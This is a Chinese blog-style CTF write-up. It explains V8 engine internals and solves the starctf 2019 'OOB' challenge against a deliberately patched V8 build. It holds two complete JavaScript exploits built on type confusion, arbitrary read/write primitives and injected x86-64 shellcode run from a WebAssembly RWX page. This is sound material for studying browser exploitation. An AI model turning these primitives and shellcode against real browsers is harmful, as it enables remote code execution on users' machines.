cover

基础知识

v8是chrome浏览器的 JavaScript 引擎,是著名的 JIT(Just In Time) 引擎。在Chromium项目中起到至关重要的作用。作为一款jit引擎,其工作模式如下图所示:

image-20220601144046089

  1. Parser是 JS 源代码的入口,接受javascript 源文件作为输入
  2. Interpreter 负责从 Javascript AST 生成 bytecodes,同时也可以基于bytecode直接生成机器代码。在 V8 中该组件名为Ignition。
  3. JIT Complier: Turbofan作为 V8 中的优化器,其作用是将字节码优化成为固定的机器代码。在优化过程中,V8 引入了SSA(静态单赋值)形式的中间代码简化编译器的优化算法,在其若干优化过程(PASS)中实现安全的 JIT 代码生成。
  4. Runtime:提供各种数据结构的实现以及buildin函数等等。
  5. GC:V8的垃圾回收器。

Ignition

位于src/interpreter/bytecode-generator.h中的 BytecodeGenerator实现了AstVisitor,将在遍历Javascript AST中创建相应的字节码。字节码的生成方法为是BytecodeGenerator::GenerateBytecode

针对单个字节码来说,v8 实现了 Ignition_handler ,可以遍历解释执行前面生成的bytecodes, 例如:

值得一提的是,以上Ignition_handler中采用了CSA(CodeStubAssembler),这是一种类似于汇编的语言,保持了platform-independent的同时也具备一定的可读性。这样,Ignition顺序执行字节码对应的handler的过程看起来就像这样:

总的来说,可以把Ignition当作一个解释器或者低级的翻译器,字节码可以在调试v8的时候通过—print-bytecode打印。

Turbofan

Turbofan是整个v8最为核心最为复杂的部分。优化过程中采用了基于sea of node思想设计的中间语言。这是一种Program Dependence Graph,其宗旨是“在统一的表达形式下,把分析进行彻底”。用这样的IR所表达的程序是由经过完全的程序分析后产生的节点组成,这种节点可以依赖别的节点,本身也可以被别的节点依赖。各种 IR 操作并不操作变量,而是代表从依赖获取输入节点,经运算后产生新的节点这样的行为。这样,Turbofan 针对每个节点的优化变得相对独立,因为其自身会携带足够依赖信息来判明它在怎样的路径上有效,依赖的数据输入是哪些。

TurboFan的依赖信息有三种 Control , Data , Effect

Control dependence:Control Dependence(控制依赖)可以看作是常规控制流图反过来画。不是基本块持有一个线性列表里面装着节点,而是每个节点都记录着自己的控制依赖是谁——要哪个前驱控制节点执行到的时候我才可以执行。

Data dependence:Data Dependence就是use-def链,换句话说一个节点的数据输入都是谁。例如说 a + b,这个“+”的数据依赖就是a和b。

Effect dependence:可以理解为内存状态的操作依赖,单独描述内存的操作顺序,记录的是内存操作

例如,对于obj[x] = obj[x] + 1来说,对应的IR为:

该图表明了一种依赖关系:load->add->store

其次,由于Javascript为弱类型语言,而JIT代码往往是针对某种类型特定优化的,错误的类型很可能会导致安全问题。因此为了提高安全性,Turbofan在JIT代码中会插入类型检查,其工作模式如下图

Runtime

Tagged Value:

  • 最低位LSB标志位
  • SMI: SMall Integer,将最后一bit清零,访问的时候当作SMI
  • HeapObject:最后一位置1,访问的时候减去1然后取内存中的值再来访问
  • 可以理解为存储了简单的数据类型,更复杂的数据类型信息存储在map

Map存储了:

  • 对象的动态类型
  • 对象的大小(以字节为单位)
  • 对象的属性及其存储位置
  • 数组元素的类型
  • 对象的原型

Map提供属性值在存储区域中的确切位置位于object的头部,属性值的存储区域有三个:inline,out-of-line,element(数组访问)。
例如:

下划线部分为map指针,绿色部分代表对象创建时就有的属性,会被直接放置在Object o的内部,蓝色部分作为数组属性所指的内存空间存储了数组元素的具体值,红色部分作为后续添加的属性指向了额外的存储属性值的内存。

V8的object类型访问完全依靠上述的结构实现,给了我们攻击思路:倘若控制了对象的map值就可以实现错误的元素访问。

builtin

在V8中,buildin可以看作是VM在Runtime中可执行的代码块,由引擎本身实现,除了实现一些 js 语言带有的操作之外,还可以实现一些内置功能。例如 builtins-array.cc 和数组相关的一些函数:array.fill,slice,fush…,是turbofan inline 的对象。

GC

V8 实现了准确式 GC,GC 算法方面采用了分代垃圾回收。

  • 新生代GC:GC复制算法,Cheney的GC复制算法
  • 老年代GC:GC 标记-清除算法,GC标记-压缩算法

新生代中的对象为存活时间较短的对象,老生代中的对象为存活时间较长或常驻内存的对象,分别对新老生代采用不同的垃圾回收算法来提高效率,对象最开始都会先被分配到新生代(如果新生代内存空间不够,直接分配到老生代),新生代中的对象会在满足某些条件后,被移动到老生代,这个过程叫晋升。

对象晋升的条件主要有两个:

  • 对象从From空间复制到To空间时,会检查它的内存地址来判断这个对象是否已经经历过一次Scavenge回收。如果已经经历过了,会将该对象从From空间移动到老生代空间中,如果没有,则复制到To空间。总结来说,如果一个对象是第二次经历从From空间复制到To空间,那么这个对象会被移动到老生代中。

  • 当要从From空间复制一个对象到To空间时,如果To空间已经使用了超过25%,则这个对象直接晋升到老生代中。设置25%这个阈值的原因是当这次Scavenge回收完成后,这个To空间会变为From空间,接下来的内存分配将在这个空间中进行。如果占比过高,会影响后续的内存分配。

环境搭建

安装depot_tools

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc

安装ninja

git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc

下载编译v8

fetch v8 && cd v8&& gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out/x64.debug

运行

./out/x64.debug/d8
./out/x64.debug/shell

调试脚本

cp /home/q1iq/Documents/v8/tools/gdbinit /home/q1iq/env/gdbinit_v8
vim ~/.gdbinit 
填入 source /home/q1iq/env/gdbinit_v8

调试选项 d8 --allow-natives-syntax test.js

%SystemBreak();
%DebugPrint(obj);

starctf 2019 OOB

下载题目、编译:

git clone https://github.com/sixstars/starctf2019.git
cd v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply ../starctf2019/pwn-OOB/oob.diff
gclient sync -D
gn gen out/x64_startctf.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64_startctf.release d8

漏洞分析

题目给了diff文件,为Array增加了一个oob函数,实现为ArrayOob,当调用这个函数的参数的个数为1时,可以读Array的第length个成员,个数为2时,将参数1赋值给Array的第length个成员。这里ArrayOob是C++实现的成员函数,第一个参数是this指针,后面的才是js传入的参数。

因此定位到漏洞是Array对象的off by one的越界读写。

--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

方法一

基本原理是对象数组和浮点数数组类型混淆。

  1. 用float array类型访问object array的elements,可以将object的地址以float类型读出,实现任意object的地址泄露;
  2. 用数组伪造fake float array的字段(exp里是array_box),泄露数组的地址计算偏移得到fake float array的地址,将这个地址转为float,用object array类型访问这个float将其混淆为object得到fake float array;
  3. 将fake float array的elements字段指向任意地址,实现任意地址读写;
  4. 最后wasm一把梭弹计算器。具体是首先加载一段wasm代码到内存中,再泄露存放wasm编译后的汇编的内存地址,通过任意地址写原语用shellcode替换原本wasm的代码内容,最后调用wasm的函数接口触发调用shellcode。

完整exp:

//fulfill
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}
function debug(){
    console.log("debug...");
    readline();
}
function gc(){
    for(var i=0;i<0x10;i++){
        new ArrayBuffer(0x1000000);
    }
}
function fail(str){
    console.log("FAIL:",str);
    throw null;
}

//trigger patch
var float_arr = [1.1,2,3,4];
var obj_sample = {"what":"ever"};
var obj_arr = [obj_sample];
var float_arr_map=float_arr.oob();
var obj_arr_map=obj_arr.oob();

function obj_to_float(o)
{
    obj_arr[0] = o;
    obj_arr.oob(float_arr_map);
    var num = obj_arr[0];
    obj_arr.oob(obj_arr_map);
    return num;
}

var array_box = [
    float_arr_map,   // fake obj  |map
    2,               //           |properties
    3,               //           |elements
    4,
    5,
    6,
    7,
    8,
    9,
    1.0,
    1.1,
    1.2,
    1.3,
    1.4,
    1.5,
    1.6
];

// leak addr of array_box
var array_box_addr = obj_to_float(array_box).f2i()-1n;
console.log(array_box_addr.hex());
//%DebugPrint(array_box);

// fake object
var fake_obj_addr = array_box_addr-0x80n;
float_arr[0] = (fake_obj_addr+1n).i2f();
float_arr.oob(obj_arr_map);
var fake_obj = float_arr[0];  //get a object whose addr is fakce_obj_addr
float_arr.oob(float_arr_map);

// Arbitrary address read 
function read64(leak_addr){
    array_box[2] =  (leak_addr - 0x10n + 0x1n).i2f();
    return fake_obj[0].f2i(); 
}

// Arbitrary address write
function write64(addr,data){  //addr, data: BigInt
    array_box[2] =  (addr - 0x10n + 0x1n).i2f();
    fake_obj[0] = data.i2f();
}

// wasm -> shellcode
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var f = wasm_instance.exports.main;
var f_addr = obj_to_float(f).f2i()-1n;
console.log("[*] leak wasm addr: " + f_addr.hex());

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: " + rwx_page_addr.hex());

var shellcode =[0x010101010101b848n, 0x68632eb848500101n, 0x0431480169722e6fn, 0x0cfe016ae7894824n, 0x63782f6e69b84824n, 0x3b30b84850636c61n, 0x4850622f7273752fn, 0x303a3d59414c50b8n, 0x74726f70b848502en, 0x01b8485053494420n, 0x5001010101010101n, 0x01622c016972b848n, 0xf631240431487964n, 0x56e601485e0e6a56n, 0x6a56e601485e136an, 0x894856e601485e18n, 0x050f583b6ad231e6n]

var data_buf = new ArrayBuffer(0xa0);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = obj_to_float(data_buf).f2i()-1n + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);  
for (var i = 0; i < shellcode.length; i++) {
    data_view.setFloat64(i*8, shellcode[i].i2f(), true);
}
f();

方法二

参考P1umer大佬的方法,基本原理是Object和Array的类型混淆。

构建如下obj1,obj2,用obj1的类型访问obj2.a,就可以达到覆写obj2原本的size位的效果,将size位写成一个很大的值就可以实现一定距离数组越界读写。在obj2下方构建一个float array,修改float array的elements,即可实现任意地址写。最后wasm一把梭。

var obj1 = {a:1,b:2};
var obj2 = new Array(10);

obj1内存布局如下:

image-20220527233721754

obj2内存布局如下:

image-20220527233750007

另外这里和法一有点区别的是,用 new Array(10);分配数组时,jsArray在FixedArray上方,var float_arr = [1.1,2,3,4];这样分配时,jsArray在FixedArray下方。

完整exp:

//fulfill
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}
function debug(){
    console.log("debug...");
    readline();
}
function gc(){
    for(var i=0;i<0x10;i++){
        new ArrayBuffer(0x1000000);
    }
}
function fail(str){
    console.log("FAIL:",str);
    throw null;
}

//trigger patch
var array1 = new Array(10);
//%DebugPrint(array1);
var obj1 = {a:1,b:2};

var array2 = new Array(10);
var obj2 = new Array(10);

var obj1_map=array1.oob();
var obj2_map=array2.oob();
//%DebugPrint(obj1);
//%DebugPrint(obj2);

array2.oob(obj1_map);
obj2.a=0x100;   //obj2.size
array2.oob(obj2_map);

obj2[0]=1.1; //make obj2 a float array
var exp_array = new Array(10);
exp_array[0]=1.1; //make exp a float array
exp_array[1]=1.2;
leak_exp_addr=obj2[19].f2i()-0x1n;   //elements of exp 
//%DebugPrint(exp);
console.log("[*] leak_exp_addr: ",leak_exp_addr.hex());

function read64(leak_addr) {
    //%SystemBreak();
    obj2[19]=(leak_addr+1n-0x10n).i2f();
    //%SystemBreak();
    return exp_array[0].f2i()
}

function write64(addr,data){
    obj2[19]=(addr+1n-0x10n).i2f();
    exp_array[0]=data.i2f();
}

// wasm -> shellcode
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var f = wasm_instance.exports.main;
//%DebugPrint(f);
array1[0] = f;
console.log("[*] leak wasm addr in : " + (leak_exp_addr-0x358n).hex());
var f_addr = read64(leak_exp_addr-0x358n)-0x1n;
console.log("[*] leak wasm addr: " + f_addr.hex());
//%SystemBreak();
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: " + rwx_page_addr.hex());

var shellcode =[0x010101010101b848n, 0x68632eb848500101n, 0x0431480169722e6fn, 0x0cfe016ae7894824n, 0x63782f6e69b84824n, 0x3b30b84850636c61n, 0x4850622f7273752fn, 0x303a3d59414c50b8n, 0x74726f70b848502en, 0x01b8485053494420n, 0x5001010101010101n, 0x01622c016972b848n, 0xf631240431487964n, 0x56e601485e0e6a56n, 0x6a56e601485e136an, 0x894856e601485e18n, 0x050f583b6ad231e6n]

var data_buf = new ArrayBuffer(0xa0);
var data_view = new DataView(data_buf);
array1[0] = data_buf;
var buf_backing_store_addr = read64(leak_exp_addr-0x358n)-0x1n + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);  
for (var i = 0; i < shellcode.length; i++) {
    data_view.setFloat64(i*8, shellcode[i].i2f(), true);
}
f();

不过我调试这种方法的时候发现,每次运行read64时都会卡在Builtins_StoreFastElementIC_Standard+4889,一直c可以c到shellcode,但是在终端直接跑脚本会报Trace/breakpoint trap,没排查出错误原因是什么,挖个坑以后填吧。

image-20220528030619137

image-20220528032358401

参考

https://paper.seebug.org/1822/

https://www.freebuf.com/vuls/203721.html

https://p1umer.github.io/2019/05/06/Star-CTF-OOB-writeup/